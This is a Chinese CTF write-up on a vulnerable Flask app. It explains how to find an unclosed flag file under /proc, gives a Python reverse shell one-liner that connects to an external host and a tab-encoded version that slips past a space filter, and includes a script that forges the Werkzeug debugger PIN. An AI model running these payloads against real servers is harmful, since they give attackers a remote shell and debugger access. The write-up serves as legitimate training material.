文章目录
- 前置知识
- /proc目录
- python的反弹shell
- pin码计算
- 解题步骤
前置知识
/proc目录
Linux系统上的/proc目录是一种文件系统,用户可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态。/proc 目录中包含许多以数字命名的子目录,这些数字表示系统当前正在运行进程的进程号(PID),里面包含对应进程相关的多个信息文件。
利用思路:当某些文件打开时并未close或者是flask在运行时,可以利用proc目录去查看某些文件,比如本题的flag1
python的反弹shell
payload
python3 -c 'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("f57819674z.imdo.co",54789));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
pin码计算
本题的flag2由于用的是with语法打开,所以会默认关闭文件,不像flag1可以查看。所以得计算pin码从flask的环境中去寻找flag2
脚本如下(详细过程可参考解题过程)
import hashlib
from itertools import chain
probably_public_bits = [
'root'
'flask.app',
'Flask',
'/usr/local/lib/python3.10/site-packages/flask/app.py'
]
private_bits = [
'2485376927778',
'96cec10d3d9307792745ec3b85c896208a7dfdfc8f7d6dcb17dd8f606197f476c809c20027ebc4655a4cdc517760bc44'
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
解题步骤
打开题目,源码如下
from flask import Flask, request
import os
from time import sleep
app = Flask(__name__)
flag1 = open("/tmp/flag1.txt", "r")
with open("/tmp/flag2.txt", "r") as f:
flag2 = f.read()
tag = False
@app.route("/")
def index():
with open("app.py", "r+") as f:
return f.read()
@app.route("/shell", methods=['POST'])
def shell():
global tag
if tag != True:
global flag1
del flag1
tag = True
os.system("rm -f /tmp/flag1.txt /tmp/flag2.txt")
action = request.form["act"]
if action.find(" ") != -1:
return "Nonono"
else:
os.system(action)
return "Wow"
@app.errorhandler(404)
def error_date(error):
sleep(5)
return "扫扫扫,扫啥东方明珠呢[怒]"
if __name__ == "__main__":
app.run()
分析一下
定义了flag1为打开flag1的内容(注意打开后并没有close()
),然后利用with语法打开flag2并且结束时关闭文件,把变量tag设置为False;看看/shell
路由,首先如果tag为False,那么删除flag1和flag 2,然后接收参数act命令执行,其中过滤空格;然后是限制我们扫目录(猜测怕我们扫出来/console
)
flag1打开后并没有close,由于flask一直在运行,那么我们就可以在proc目录去寻找,但是这里命令执行是没有回显的,我们可以反弹shell
python3%09-c%09'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("f57819674z.imdo.co",54789));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
成功反弹shell
我们在/proc/16/fd
目录下找到flag1(一般在15-35)
第二部分我们要在flask环境变量里去找,也就是要算pin码访问./console
首先通过报错得到app.py的绝对路径
然后获取username
然后获取网卡地址
cat /sys/class/net/eth0/address
去掉冒号转十进制
-最后的系统id包括两部分,我们先读取/proc/sys/kernel/random/boot_id
(有些题目是/proc/sys/kernel/random/boot_id
)
然后取/proc/self/cgroup
并且只读取第一行,并以从右边算起的第一个/
为分隔符
修改脚本(前置知识处有)
访问./console
,发现flag2读取不到
这是因为我们要在对应的环境下获取
所以我们访问./shell
,POST传参(不为act即可)
然后找到对应的环境,点击右边的调试即可进入debug